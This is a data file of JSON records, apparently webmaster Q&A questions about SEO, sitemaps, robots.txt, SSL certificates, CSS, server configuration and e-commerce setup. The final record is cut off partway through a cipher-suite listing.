{"id":"24264","title":"Why am I getting far less traffic than the Google Keywords traffic estimate suggests?","text":"I identified a search term that is quotes as having millions of global searches per month on Google keywords tool. Local searches also account for a large chunk of that. It was a long term goal to get on page 1 for that term, and now we've hit it. We were page 2, #1 for a while now we've just managed to get #6\/7 on page 1. I've tested it with &pws=0 in the search, and also via a USA proxy all which have it nicely on page 1. I'm observing around 4-5 hits a day from this term now, which comes out to around 150 a month. I'm not complaining, 1,800 potential new customers a year is great! But I was expecting considerably more. Can anyone help explain why this might be? I can't really tell you what the term is I'm afraid. (I know that's not ideal)"}
{"id":"45420","title":"Seekins statistics package which shows IP address and browser version","text":"I am looking at my AwStats results and see 11% of my visits are from MS IE 6. That sounds weird, and I would like to find out who it is. I suspect that if I can find a statistics package which shows IP address and browser version then I will see that all of those hits come from one IP address (or range) and I can try to figure out who and encourage them to upgrade. I would like to recode my website in HTML 5, but can't do so if I have to spend the extra effort. I _could_ just detect the browser version and display some text encouraging browser upgrade, but would like to find out who it is. Any advice? Thanks in advance"}
{"id":"26084","title":"How should I deal with user agent parsing in logs?","text":"My web app project includes logging functionality so we can see where visitors are coming from (referrer URL), what the popular user agents are, what pages are most popular, etc. The log is stored in SQL Server, and when I query the user agents I use a large (almost 100 lines) and growing CASE statement to separate the user agents using string matching (i.e. if the user agent contains the string \"Firefox\/9\" then it's Firefox 9). Is there a better way to do this so I don't have to continually add to that CASE statement to deal with new browser releases? Also, how should I deal with less common, weird\/unknown user agents? I've seen the following in the logs and been unable to find good information online about what they are: * `WordPress\/3.3.1; http:\/\/www.facecolony.org` * `Mozilla\/4.0 ( http:\/\/www.hairirons.org redips; <a href=http:\/\/hairirons.org\/>chi hair iron<\/a>)` I'd guess they're bots\/crawlers, but the sites they point to don't appear to reference web crawlers (or even be available sometimes). I've seen other user agents aren't familiar to me, but I know they're bots because they include \"bot\" or \"spider\" or something similar in them."}
{"id":"1416","title":"Is it a bad practice to use self-signed SSL certificates?","text":"SSL certificates are pretty expensive for individuals, especially if you need to secure different subdomains. I am considering using self-signed certificates, as my primary focus is to secure the connection, and not to authenticate myself. However, several browsers display nasty warnings when encountering such a certificate. Would you discourage the use of self-signed certificates (for example for small web application or the admin page of a small website) ? Or is it OK in some cases ?"}
{"id":"68523","title":"Z-index (CSS) affecting links behavior","text":"i have a problem with links in a footer who's z-index is set to -1. i can change their style via the 'a'-tag in css but they don't behave like links anymore. here's the the html and css code: **HTML** <body> <div class=\"content\"> <\/div> <div id=\"footerid\" class=\"footer\"> <div id=\"carrier\"> <table> <tr> <td> <h4>About<\/h4> <a href=\"www.google.de\"><span class=\"pfeile\">△ <\/span>stuff<\/a><br> <a href=\"d.html\"><span class=\"pfeile\">△ <\/span>stuff<\/a><br> <a href=\"d\"><span class=\"pfeile\">△ <\/span>stuff<\/a><br> <a href=\"d\"><span class=\"pfeile\">△ <\/span>stuff<\/a><br> <\/td> <td> <h4>Impressum<\/h4> <a href=\"www.google.de\"><span class=\"pfeile\">△ <\/span>stuff<\/a><br> <a href=\"d\"><span class=\"pfeile\">△ <\/span>stuff<\/a><br> <a href=\"d\"><span class=\"pfeile\">△ <\/span>stuff<\/a><br> <a href=\"d\"><span class=\"pfeile\">△ <\/span>stuff<\/a><br> <\/td> <td> <h4>Reference<\/h4> <a href=\"www.google.de\"><span class=\"pfeile\">△ <\/span>stuff<\/a><br> <a href=\"d\"><span class=\"pfeile\">△ <\/span>stuff<\/a><br> <a href=\"d\"><span class=\"pfeile\">△ <\/span>stuff<\/a><br> <a href=\"d\"><span class=\"pfeile\">△ <\/span>stuff<\/a><br> <\/td> <\/tr> <\/table> <\/div> <\/div> <\/body> **CSS** .content{ padding: 100px 200px; padding-left: 50px; margin-top: -10px; margin-left: 150px; margin-right: 150px; border-left: 1px solid black; border-right: 1px solid black; border-top: 2px solid black; border-bottom: 2px solid black; background-color: white; text-align: left; } .footer{ border: 3px solid black; padding: 37px 0px; margin: 30px; margin-top: -40px; background-image: url(\"img\/forest.jpg\"); color: white; position: relative; z-index: -1; background-position: bottom; } #carrier { border: 1px solid white; border-top: none; background-color: rgba(0,0,0,0.5); padding: 5px; padding-top: 25px; margin: 0px 150px; } .footer h4{ border-bottom: 1px dotted white; margin: 5px 0px; color: white; } .footer td{ padding-left: 5px; padding-right: 150px; border-left: 1px solid white; } .footer a { text-decoration: none; color: white; font-size: 12px; display: inline; } .footer a:hover { color: red; } .pfeile { text-decoration: bold; color: red; } plus an image of the resulting page:  it seems that the links don't work because the z-index of the .footer container is -1. but that has to be in order to slip under the .content container (see image) so is there a way to make the links \"accessible\"? More over the .carrier container has to be inside the .footer container! I tried to set the z-index of the of the .carrier container to +1... which didn't work. Of course i could set the z-index of the .content container to +1 to let the footer (with z-index 0) container slip under the content area but that again has an impact on the navigation and other containers at the top of the page... Thanks in advance"}
{"id":"68908","title":"Name of this \"sleek single column\" web design?","text":"By now I have seen this kind of one column, simple, sleek and probably responsive-friendly design over 20 times already. Example : https:\/\/www.paypal.com\/cy\/webapps\/mpp\/home http:\/\/www.motorola.com\/us\/consumers\/moto-x\/Moto-X\/FLEXR1.html https:\/\/onlycoin.com\/ I wondered is there a name for this design? Since when did it started to get this popular? Everyone seems to adopting it, especially for product page with each section showing product's feature."}
{"id":"4200","title":"Help me to find a good name for my website","text":"I have a web marketing question for you. I'm looking for a good domain name for my web app. This site is about writing. Any kind of user generated writings including poetry, aphorisms, short stories, song lyrics etc. I have some candidates, but I think it can be better. . I want the name to promote very good quality words, not just random facebook-like status updates. This is my list, but I think you can do better, any help would be very very appreciated. I promise to add your name in my credit if i pick your answer. Thanks * Yourwritings * Youwrite * Beautifulwords * thewriter * writingshare"}
{"id":"13910","title":"How can I change my site's meta tags using fatcow.com site builder?","text":"I am a newbie to website work. I am on the board of a new non-profit, and have been given the task of getting the website up and running. We elected a package from Fatcow.com that gives hosting and most services, cheap, but the only downside is the drag-and-drop style builder. Of course without this builder, I would not have the page up already. The downside to the builder is that it is hard, if not impossible, to edit the tags I need to in the actual code. I have a copy of the Google Webmaster starter guide, and want to set meta-tags for each page on the site, however, I cannot find a function on fatcow to allow me access to read the code behind the pages. Can anyone tell me how else to access the code for manual editing?"}
{"id":"4206","title":"Does Google cache stylesheets?","text":"Hey guys, we all know that Google caches the HTML of pages, but does it cache the corresponding CSS as well? I ask because a site I used to have and have since closed down is still in the cache and there's a CSS setup I had on it that I need to replicate on another site now. I can view the cached HTML but that doesn't help me because I don't remember what I did with the CSS. So, does Google cache the CSS and if so, how do I view it? For those who will ask why I don't just look at my source code for the other site, I don't currently have it on my laptop and I'm not quite sure where the archive is at the moment..."}
{"id":"13916","title":"Changing mod_rewrite \"file exists\" checks to not see directories as files","text":"I have the following mod_rewrite rules set up: RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME}\\.php -f RewriteRule ^(.*)$ $1.php This works fine, allowing me to use \"nice\" URIs (like www.mysite.com\/about instead of www.mysite.com\/about.php. However, when I have both a directory and a file with the same name (for example \/products and products.php, this breaks as apache just redirects to the directory. Is there a way to fix this? Thanks,"}
{"id":"24488","title":"Sitemap with pages missing better than no sitemap at all?","text":"I've inherited a site built with a CMS I'm not familiar with. I've created new pages for the site and I can see they do appear in a html sitemap, but not the xml sitemap. Assuming I can't add the pages to the xml sitemap, should I delete the xml sitemap or leave it in place but with pages missing?"}
{"id":"5560","title":"Sitemaps index submission","text":"I have two questions regarding site maps: 1) Currently my site has around 5,000 pages. However, in the future it will contain more than 50,000 pages. Should I start using sitemap-index with only one sitemap listed at the current time? Or should I use a sitemap and when I pass the 50,000 limit add a sitemap-index file with 2 sitemaps listed? Does it even matter?? 2) Should I re-submit sitemap through Google webmasters tools every time I add a new URL? Or does it check it automatically? Joel"}
{"id":"5398","title":"How to choose a font for a website?","text":"How to choose a font for a website that is readable,usable,authority ?"}
{"id":"38273","title":"Why do I lose my Pagerank after a 301 redirect?","text":"As we all know, Google treats sub-domains as completely separate domains so we have to fight for both, to get ranked in search results. One of my client's websites had `example.com` and `blog.example.com`. So to keep all the stuff in one place, we redirected `blog.example.com` to `example.com\/blog\/` But in this case, we lost our Pagerank and are still wondering where we went wrong. Maybe it just takes more time to show up. What is the reason behind this?"}
{"id":"44326","title":"Can I enrich microdata format with more data without affecting its functionality?","text":"This is the normal formatting for microdata: <div itemscope itemtype=\"http:\/\/schema.org\/LocalBusiness\"> <div itemprop=\"name\">some text<\/div> <div itemprop=\"description\">some description<\/div> <div itemprop=\"address\" itemscope itemtype=\"http:\/\/schema.org\/PostalAddress\"> <span itemprop=\"streetAddress\">Rosary Arms 12<\/span> <span itemprop=\"postalCode\">90210<\/span> <span itemprop=\"addressLocality\">Beverly Hills<\/span> <span itemprop=\"addressRegion\">San Fransisco<\/span> <span itemprop=\"addressCountry\">USA<\/span> <\/div> <\/div> Now, when a users searches for all businesses in San Fransisco, I want to format each result with this microdata (I'm assuming this is allowed btw and not that Google only accepts 1 microdata 'instance' on a page). But in the search result of 1 result I have more data than is currently needed for microdata. For example, I have 3 images per search result, rates of this business, opening hours and much more. Now I was wondering if I can just place this extra data within this microdata without affecting its functionality, for example: <div itemscope itemtype=\"http:\/\/schema.org\/LocalBusiness\"> <div itemprop=\"name\">some text<\/div> <div class=\"businesspreviewthumbs\"> <img src=\"\/images\/1.png\" \/> <img src=\"\/images\/2.png\" \/> <img src=\"\/images\/3.png\" \/> <\/div> <div class=\"rates\"> <span>Hourrate: $120<\/span> <\/div> <div itemprop=\"description\">some description<\/div> <div itemprop=\"address\" itemscope itemtype=\"http:\/\/schema.org\/PostalAddress\"> <span itemprop=\"streetAddress\">Rosary Arms 12<\/span> <span itemprop=\"postalCode\">90210<\/span> <span itemprop=\"addressLocality\">Beverly Hills<\/span> <span itemprop=\"addressRegion\">San Fransisco<\/span> <span itemprop=\"addressCountry\">USA<\/span> <\/div> <div> <p>Opening hours:<br\/> Monday-Friday: 8AM - 6PM<br\/> Saturday: 10AM - 5PM<br\/> Sunday:Closed<br\/> <\/p> <\/div> <\/div>"}
{"id":"34039","title":"email server services for websites","text":"I have a growing website and I don't want to deal with setting up a mail server to send emails through. Currently I am using Google Apps and sending emails via a Java program that I wrote. However, it seems Google has certain restrictions against that. Is there a list of email server providers out there. One where we can point our DNS MX record and send emails via an API?"}
{"id":"31315","title":"Magento Bulk Product Import + Modules Nightmare","text":"1. Have 5,000 products in CSV file 2. File has been re-saved as UT8 file in google documents and exported to CSV from excel 3. File loads perfectly with all fields in demo of magento store manager (except we dont want to buy it:) 4. When trying to upload in regular Magento..keep getting error messages on column duplicates....yes we have hundreds of duplicates as the titles of products in fields correspond with different sizes, etc...no way around it 5. Any solutions around this or any open source software similar to store manager that can do the trick. Ready to give up and go to paid solution such as Big Commerce 6. Also, Uploaded a bunch of free modules\/keys...of open source bulk import products from magentocommerce but I cant find them anywhere in the main admin panel to use...there is no menu item for them anywhere??"}
{"id":"31317","title":"Which domain is better for local SEO: .sg or .com.sg?","text":"> **Possible Duplicate:** > com.es domain and SEO I am sure this question has been asked before in many different forms regarding to different countries. But I am still wondering in the case of Singapore, which one is better for local SEO? .sg or .com.sg?"}
{"id":"31316","title":"Can't get heroku site updated on custom domain","text":"I have hosayif.com registered at GoDaddy, and I set up a cname for rails.hosayif.com to point to my heroku app at sharp- meadow-6535.herokuapp.com. I set this up with a previous app, and it worked. I made a new app, renamed the old one, and then renamed the new one so that it is sharp- meadow-6535.herokuapp.com in hopes of not having to change anything at GoDaddy. In theory, rails.hosayif.com and sharp-meadow-6535.herokuapp.com should be the same site, but they are not. Can someone tell me what I am doing wrong?"}
{"id":"50590","title":"Can creating a duplicate site for testing and upgradation can cause duplicate content","text":"Considering upgrade of CMS to latest version- the process may take anywhere from 2 to 4 weeks. May suggest - we need to work on live server, what we have planned: * take exact replica of site and move to a test domain, but on live server * Block Google, Bing, Yahoo - `User-agent: Google Disallow: \/`, `User-agent: Bing Disallow: \/`, `User-agent: Yahoo Disallow: \/` in _robots.txt_ * Will upgrade CMS and add functionality - will test the entire structure, check URLusing xenu and move on to configure the site on original domain The process upgradation and new tools may take 2 to 4 weeks.... Concern is that despite blocking Google, Bing & Yahoo through User agent disallow can still the URLof test site can be crawled by the search engines - if yes - it may hurt the original site as will read on as entire duplicate or is there any alternate way around."}
{"id":"32601","title":"Self signed SSL certificate with a wild card - works for sub domain, fails for the main domain","text":"For development purposes I created a self signed SSL certificate where CN = `*.example.com`. After installing the certificate, when browsing to any sub domain `https:\/\/sub.example.com` I got the nice green lock indicating that everything is OK, but when browsing to `https:\/\/example.com` I still keep getting an error. The browser says: \"Server's certificate does not match the URL\" How can I resolve this issue so I will have 1 certificate that is valid for both all sub-domains and the main domain."}
{"id":"303","title":"Is there a way to add embedded youtube videos to my website sitemap?","text":"The goal is to make embedded youtube videos appear in video search results as part of my website. I searched very extensively how to do this; I found through google some articles that claim that it's possible, but they are old and that method no longer works. Youtube seems to have intentionally changed their website to prevent other people from including their videos in external sitemaps. To create the sitemap I would need two things: * The URL of YouTube's flash player. This should be easy enough. * This is the hard part: the URL of the .flv of the video. For http:\/\/www.youtube.com\/watch?v=cE88ZYstEHc it is `http:\/\/www.youtube.com\/get_video?video_id=cE88ZYstEHc&t=vjVQa1PpcFMQCaCarYkjDrCDJyqOQ_cXrG5ulMRoDY8=` . The \"t\" which is the tricky part. How can I obtain it? Also, am I doing something unethical? If I manage to do this will google and\/or youtube be annoyed at me? The YouTube videos are mine."}
{"id":"50598","title":"Google+ and SEO: +1 button or follow button \/ profile badge on a new website?","text":"I am starting a new website, and I expect only to have few daily visitors for the first month. I know how +1s on the different pages could help the rank of that specific page in Google search. but we also know that each follower to the Google+ page also counts as a +1 for the linked homepage. Considering the age of website and its few visitors, I wonder if I should include a +1 button on each page, or if it would be better to include a profile badge or follow button on each page and focus all the benefit on the homepage and Google+ page? I know I could use all buttons and badge together, but I don't want to confuse the visitors with too many options. **In other words, for a new website, is it enough to only make the homepage popular on Google, or should we do this for all pages from the beginning?**"}
{"id":"43705","title":"How can I prevent Google from mixing different languages in my sitelinks?","text":"I have a web site in two different languages (English and Spanish). It is indexed by Google but, when searched, sitelinks below my result appear mixed with Spanish and English subtitles. Each language is in a different folder (`mydomain.com\/en` for pages in English and `mydomain.com\/es` for pages in Spanish). Is there a way to help Google to distinguish between them? The Spanish ones should show for the Spanish speakers and the English ones for the rest of users?"}
{"id":"11210","title":"Will Google penalize me for hiding header text?","text":"I read this post: http:\/\/www.google.com\/support\/webmasters\/bin\/answer.py?answer=66353 On my site currently, I have the following: \/\/ site.css h1{ background: transparent url(\"\/images\/mylogo.png\") 0 0 no-repeat; } h1 span{ display:none; } <!-- index.html --> <h1> <span> Name of My website <\/span> <\/h1> My thinking was that by including the text in the header that the HTML would still be well-structured. Since reading that post though, I'm anxious that google may penalise us for hiding text content. Can anybody shed some light on this issue? Is including hidden text in the header beneficial or detrimental (or neither) ?"}
{"id":"11217","title":"Adding a CMS to an existing Magento shop","text":"I am working on a project for 3 niche stores built on magento (using magento's multi-store function) that each get roughly 50k unique visitors a day. The sites don't currently have a blog or forum or any social networking aspects. Would like to add a cms to each site that can be centrally run and would like it to take over the front end content from Magento. Also would like it to maintain an online blog\/publication of sorts with videos, articles, and the like with privileges to edit the content given to a dozen or so people with different privileges. Want to add a forum to each site that is fairly robust and to possibly add some social networking aspects down the road, so extandability and available plugins\/mods in each cms is important. Other than shared login between the forums,blog\/publication and store, would like to be able to integrate some content from the forums and blog\/publication into the store as well. After researching this a bit, I am inclined towards Drupal, but I haven't found any modules to integrate it with Magento. Also, since the blog content will be done by about a dozen nontechnical people, I want something that is very easy to work with. Lastly, since the site gets a good amount of traffic, speed and security are very important. What CMS would you recommend integrating in this context? Deciding between Drupal, Wordpress and Plone. Thanks."}
{"id":"11218","title":"Unable to post message","text":"I have Google AdSense on my web site and on every page I am getting the following error: > Unable to post message to `http:\/\/googleads.g.doubleclick.net`. Recipient > has origin `http:\/\/mywebsite.com` What is it? Will it affect my revenue?"}
{"id":"68772","title":"Can this be achieved with a reverse-proxy?","text":"I have a website that was developed and is hosted on a Windows server (Server A). We want to have these Windows hosted pages to show up on another website that is hosted on a Linux server (Server B). Server A and Server B are not on the same network and managed by two different webmasters. Example: Server A Windows 2003 (upgrading to 2012 this Fall): 1. Domain is `example.com` 2. Example page would be `www.example.com\/dir\/page.aspx` 3. Example pages would only be used to host pages and visitors would never really visit this site (this domain would never show in their browsers). Server B Linux \/ Apache: 1. Domain is `www.example2.com` 2. When visitors go to `www.example2.com\/dir\/page.aspx`, they are actually rendering pages from `www.example.com\/dir\/page.aspx`, but their browser shows `www.example2.com` Does this make sense? Is this possible?"}
{"id":"60950","title":"How does LinkedIn show markup in search results without using schema or microdata markup?","text":"I've noticed LinkedIn search results include the location and job of the person being searched. I've understood using markup such as `schema.org` can create this but when viewing their source, it doesn't seem as if they're using that. Are there other options?"}
{"id":"32968","title":"My client wants international bank transfer payment method - do people use it?","text":"My client wants international bank transfer payment method to his eshop. I already implemented PayPal and credit\/debit cards gateways. Do you have any experience using bank transfer payment method? I think it's unnecessary because there are high fees on international bank trasfers and people use it only rarely but that's not a fact, that's my though. I have no experience with this. Please give me your opinions. Thanks"}
{"id":"51421","title":"Google Analytics 'Visits' count sudden jump","text":"I have a site that I've been closely monitoring with Google Analytics. Each day traffic has been gradually increasing, and the #1 source is \"Google\/Organic\". I checked my visit total for 6\/20 late in the day yesterday (around 10PM) and it was at ~3000. I checked the visit total for 6\/20 yesterday again this morning (around 6AM) and the count had suddenly jumped to over 6000. I don't think the site received the 3000 additional visits between 10PM and 12AM. Has anyone else experienced this behavior? Does GA do some sort of recalc at the end of the day?"}
{"id":"51420","title":"Server overhead caused by bots?","text":"I have one customer website causing overhead (`http:\/\/www.modacalcio.it\/en\/by- kind\/football-boots.html`). With `htop` opened, I am trying navigate the website and the much load of the website is done by the ajax link being placed on the left side of the website. The website is hosted by a VPS with 3 proc and 2GB RAM, with enough hard with disk space. The real problem is that this website is new and not visited much. From the http-status module I am seeing that the overhead is caused by bots (Google bots, Bing bots, hrefs checker and so on). So I thought that's probably due to those spiders trying to crawl all those links at once - could this be causing this overhead? I have also put `rel=\"nofollow\"` in those links, but this doesn't keep the bots away. Is there any way through code or Plesk to disable those links to those bots?"}
{"id":"51351","title":"When can I remove directory validation script?","text":"When I apply to add my website to a directory, it asks to add some script to my homepage or index page to validate the website. At what point can I remove this script? I want to add my site to various directories, but don't want to add lines of script to be there permanently. I'm assuming it is just for the initial validation and can be removed after submitting the site..?"}
{"id":"32960","title":"How is fluid theme's impact on rendering performance?","text":"I am new to responsive design and now re-making a template to make it more responsive. This involves redefining many fixed width and fonts as context- dependent percentage (% or em) instead of pixels in css. So I am wondering how does all these new added calculations affect the rendering time of pages, regarding that now most elements values needs to be calculated, and mobile processors which are the target devices are far less powerful than a typical Desktop cpu. Will the effect be sensible on most devices? If yes, how much? I appreciate if you also could refer me to the relevant benchmarks\/studies. Thanks"}
{"id":"51","title":"Why is it preferable to use paths with slashes instead of query-string variables in a web page URL?","text":"Why is it preferable to use paths with slashes instead of query-string variables in a web page URL?"}
{"id":"27791","title":"SocialEngine Installation Error 500 (Step 3)","text":"I'm trying to install SocialEngine (clean install, empty database, legal license key) but I ran into this error message 500 at Step 3 of the installation: Step 3: Setting up MySQL Database MySQLi statement execute error : Prepared statement needs to be re-prepared I found a troubleshooting article about a Bug in MySQLi Extension Causes Apache 500 Error. I have uploaded the fixed file and try to install again but it still doesn't work. It terminates at Step 3 again with the same error message. I would be very grateful if you could help me. Thanks."}
{"id":"61045","title":"What is Glaucidium CMS","text":"I was recently asked to do few changes to this website that runs on Glaucidium CMS it looks ancient and when I tried to get some info about it I couldn't find any. There's nothing on Google, no website for that CMS nor anything. Does anyone have any knowledge about this CMS? Thanks!"}
{"id":"27794","title":"force users to activate account before using service?","text":"i am not sure if this is the correct SE site to post this, but ill go on... So at the moment i force my users to activate their account upon registration if they want to sign in. I see some decent sites let their users sign in and use their features even their account is not activated and just show a message on top of the page letting them know that their account is not yet activated and that you need to activate it. So which practice is best? Should i stick with that i have or change it?"}
{"id":"28514","title":"Strange links appearing in 404 logs","text":"I've recently been going through our 404 logs and we have a number of urls which look like this turning up:- http:\/\/www.makejusticework.org.uk\/%2B%255BPLM=0%255D%2BGET%2Bhttp:\/www.makejusticework.org.uk\/%2B%255B0,51217,54078%255D%2B-%253E%2B%255BN%255D%2BPOST%2Bhttp:\/www.makejusticework.org.uk\/media\/roma-hoopers-justice-campaign-blog\/prison-expensive-making-people-worse-roger-graef-obe-ceo-films-record-ambassador-justice-work\/2012\/02\/22\/%2B%255B0,0,67227%255D It contains the actual url, which is:- http:\/\/www.makejusticework.org.uk\/media\/roma-hoopers-justice-campaign-blog\/prison-expensive-making-people-worse-roger-graef-obe-ceo-films-record-ambassador-justice-work\/2012\/02\/22\/ This blog post relates to a recently redirected url (standard `redirect 301`) hence the concern - can anyone shed any light on this kind of thing?"}
{"id":"25336","title":"Google image index","text":"we have a few images currently being indexed by google and we want to remove them from the index. We have removed the .aspx page which linked to the image (but the image still physically exists on disk at the same location), so will google now automatcally update its records, to not show our image? Or do I need to delete the image aswell? thanks!"}
{"id":"58447","title":"SEO impact - using subdomains to make a sentence","text":"I'm thinking about playing with subdomains to make \"sentences\", and I would like to know if there is any impact on SEO. That's easier to explain with examples (those are fake ones and only illustrates the idea): * Will `http:\/\/this.is.a.test\/` be disadvantaged comparated to something like `http:\/\/this-is-a-test.com\/`? * Will `http:\/\/you.can.do.it\/` be disadvantaged comparated to something like `http:\/\/you-can-do-it.com\/`? The idea here would be to buy the domain `do.it` and create the subdomain `can.do.it`, and then `you.can.do.it`. Will it consider `you`, `can`, `do` and `it` as separate words and as an expression? The question is NOT about the impact of country extensions."}
{"id":"7969","title":"Tracking users behaviour - with or without Google Analytics","text":"If I understand correctly the following (point & from GA TOS): 1. PRIVACY . You will not (and will not allow any third party to) use the Service to track or collect personally identifiable information of Internet users, nor will You (or will You allow any third party to) associate any data gathered from Your website(s) (or such third parties' website(s)) with any personally identifying information from any source as part of Your use (or such third parties' use) of the Service. You will have and abide by an appropriate privacy policy and will comply with all applicable laws relating to the collection of information from visitors to Your websites. You must post a privacy policy and that policy must provide notice of your use of a cookie that collects anonymous traffic data. You are not allowed to use custom variables that will identify the visitor(for example website username, e-mail, id etc.) So the question is how can I track a specific user behaviour(for example the actions that every single logged in user do)."}
{"id":"23953","title":"How should we send our e-commerce store's email receipts and receive customer service emails?","text":"My company own a number of e-commerce sites, and we are trying figure out a scalable and effective solution for email. The stores are Django apps on Heroku. Each store needs to be able to send email receipts to customers after a purchase, and customers need to be able to send support emails to a support address. In the past we have used a free Google Apps account set up with our own domain name, created the two email accounts, and sent receipts programmatically through Django. I am not completely pleased with Google Apps for a number of reasons, including customer service and the daily sending limits. I've looked into services like Postmark for sending mail, but of the services I've researched, they all require being able to receive emails at any address you send from. What would I do for receiving email? We want to keep our setup as simple as possible and would prefer to send and receive emails through the same service."}
{"id":"23402","title":"Robots.txt Issue","text":"So I've been assigned to take a look at our SEO (an area I have some, but not amazing competence in), and the first thing I noticed is that our robots.txt file says the following: # go away User-agent: * Disallow: \/ Now, I'm pretty competent at reading computer, and as far as I can tell, this says ALL spiders shouldn't look at ANYTHING in the root directory or below. Am I reading this correctly? Because that just seems insane."}
{"id":"45249","title":"Is there any advantage\/disadvantage to using robots.txt to disallow access to legal pages such as terms, privacy policy, etc.?","text":"As I understand, having repetitive content is a detriment to search engine placement. Given that many websites that use similar or even identical \"Terms and Conditions\" and \"Privacy Policy\" pages due to similar legal wording or due to copy & pasting from the same source, would it be a good idea to disallow access to these pages via robots.txt, in order to avoid being penalized for \"non-original content\"? Or, on the contrary, could the search engines identify this as circumvention and penalize the site for trying to hide content? Or does it not matter?"}
{"id":"12566","title":"Updating to Flex 4, need advice","text":"Our users are older salespeople, most of whom don't understand the concept of a plugin, so telling them to update their flash player is not an option (I have tried in the past). However, updating our application to Flex 4 (from 3.5) is something I would like to atleast plan on doing in the future. The question is, what is the market saturation of flash player 10? What would be the easiest way to determine how many of our users have flash player 10? Any other hints\/advice for considering upgrading to flex 4 would be great! Thanks!"}
{"id":"65292","title":"www vs non-www ssl certificate?","text":"We have a Drupal 6 shopping cart system that works fine on Apache\/cPanel. We had an SSL cert for www.xyz.com through NS which expired 2 days ago. My boss called Network Solutions and they walked through the process, uploading a CSR, etc. and purchased a new cert. But when we tried to -install- the new cert via cPanel it said 'Private Key does not match'. I -think- what happened is that the domain we selected was the non-www version but the CSR was for the www version. NS will allow us to upload a new CSR -but- they won't allow us to change the domain from xyz.com to www.xyz.com and they will not issue a refund. SO... 1. If I install the new SSL cert for the non-www domain, can I make this work by editing .htaccess? 2. Or should I just eat the $249 and purchase a -new- cert for www.xyz.com? I'm paranoid because I don't see any option for 'wild-card' in the NS setup and I don't know enough about Drupal to know if this will matter. TIA."}
{"id":"27244","title":"How can my site detect mobile phones and switch visitors to a mobile Domain?","text":"My Question is that when user enter the website: `http:\/\/www.example.com` then they will just go to automatically to `http:\/\/www.example.mobi` how can i do this .. is their any technique behind that. _**Can i do this via cPanel etc?. Tutorial links are welcomed._**"}
{"id":"65296","title":"IE not using AES on Website","text":"I hope I chose the right topic this time :) So: I wanted to disable RC4 and \"force\" PFS on my website. Without modification, every browser used RC4. As I don't have access to the root directory I did it by modifying the .htaccess file. Note: The server currently only supports TLS 1.0. So I changed the CipherSuite to: SSLCipherSuite HIGH:MEDIUM Which worked fine on every browser, but the IE, which \"can't find the address\". So I tried it with: SSLCipherSuite ECDH+AES256:DH+AES256:DH+AES:!MD5 Same result here. Just to test if it would work with RC4 i tried it with: SSLCipherSuite ECDH+AES256:DH+AES256:DH+AES:RC4-SHA:!MD5 After this modification, all browsers use AES as cipher. IE now displays the page, but uses RC4 as cipher, even though it should support AES. So, does IE support anything but RC4? I tried to test this with: SSLCipherSuite ALL:-RC4 Again it can't connect. But: AES works fine on Google\/Youtube (TLS 1.2). I tested it on multiple versions of IE and Windows and got the same result everytime I tried to connect. Am I missing something obvious here? Is there anyone who knows why IE won't display my website? Or is my code just completely wrong? Here a list of my supported ciphersuites for reference: [~]openssl ciphers -v ECDHE-RSA-AES256-SHA SSLv3 Kx=ECDH Au=RSA Enc=AES(256) Mac=SHA1 ECDHE-ECDSA-AES256-SHA SSLv3 Kx=ECDH Au=ECDSA Enc=AES(256) Mac=SHA1 DHE-RSA-AES256-SHA SSLv3 Kx=DH Au=RSA Enc=AES(256) Mac=SHA1 DHE-DSS-AES256-SHA SSLv3 Kx=DH Au=DSS Enc=AES(256) Mac=SHA1 DHE-RSA-CAMELLIA256-SHA SSLv3 Kx=DH Au=RSA Enc=Camellia(256) Mac=SHA1 DHE-DSS-CAMELLIA256-SHA SSLv3 Kx=DH Au=DSS Enc=Camellia(256) Mac=SHA1 AECDH-AES256-SHA SSLv3 Kx=ECDH Au=None Enc=AES(256) Mac=SHA1 ADH-AES256-SHA SSLv3 Kx=DH Au=None Enc=AES(256) Mac=SHA1 ADH-CAMELLIA256-SHA SSLv3 Kx=DH Au=None Enc=Camellia(256) Mac=SHA1 ECDH-RSA-AES256-SHA SSLv3 Kx=ECDH\/RSA Au=ECDH Enc=AES(256) Mac=SHA1 ECDH-ECDSA-AES256-SHA SSLv3 Kx=ECDH\/ECDSA Au=ECDH Enc=AES(256) Mac=SHA1 AES256-SHA SSLv3 Kx=RSA Au=RSA Enc=AES(256) Mac=SHA1 CAMELLIA256-SHA SSLv3 Kx=RSA Au=RSA Enc=Camellia(256) Mac=SHA1 PSK-AES256-CBC-SHA SSLv3 Kx=PSK Au=PSK Enc=AES(256) Mac=SHA1 ECDHE-RSA-DES-CBC3-SHA SSLv3 Kx=ECDH Au=RSA Enc=3DES(168) Mac=SHA1 ECDHE-ECDSA-DES-CBC3-SHA SSLv3 Kx=ECDH Au=ECDSA Enc=3DES(168) Mac=SHA1 EDH-RSA-DES-CBC3-SHA SSLv3 Kx=DH Au=RSA Enc=3DES(168) Mac=SHA1 EDH-DSS-DES-CBC3-SHA SSLv3 Kx=DH Au=DSS Enc=3DES(168) Mac=SHA1 AECDH-DES-CBC3-SHA SSLv3 Kx=ECDH Au=None Enc=3DES(168) Mac=SHA1 ADH-DES-CBC3-SHA SSLv3 Kx=DH Au=None Enc=3DES(168) Mac=SHA1 ECDH-RSA-DES-CBC3-SHA SSLv3 Kx=ECDH\/RSA Au=ECDH Enc=3DES(168) Mac=SHA1 ECDH-ECDSA-DES-CBC3-SHA SSLv3 Kx=ECDH\/ECDSA Au=ECDH Enc=3DES(168) Mac=SHA1 DES-CBC3-SHA SSLv3 Kx=RSA Au=RSA Enc=3DES(168) Mac=SHA1 DES-CBC3-MD5 SSLv2 Kx=RSA Au=RSA Enc=3DES(168) Mac=MD5 PSK-3DES-EDE-CBC-SHA SSLv3 Kx=PSK Au=PSK Enc=3DES(168) Mac=SHA1 ECDHE-RSA-AES128-SHA SSLv3 Kx=ECDH Au=RSA Enc=AES(128) Mac=SHA1 ECDHE-ECDSA-AES128-SHA SSLv3 Kx=ECDH Au=ECDSA Enc=AES(128) Mac=SHA1 DHE-RSA-AES128-SHA SSLv3 Kx=DH Au=RSA Enc=AES(128) Mac=SHA1 DHE-DSS-AES128-SHA SSLv3 Kx=DH Au=DSS Enc=AES(128) Mac=SHA1 DHE-RSA-SEED-SHA SSLv3 Kx=DH Au=RSA Enc=SEED(128) Mac=SHA1 DHE-DSS-SEED-SHA SSLv3 Kx=DH Au=DSS Enc=SEED(128) Mac=SHA1 DHE-RSA-CAMELLIA128-SHA SSLv3 Kx=DH Au=RSA Enc=Camellia(128) Mac=SHA1 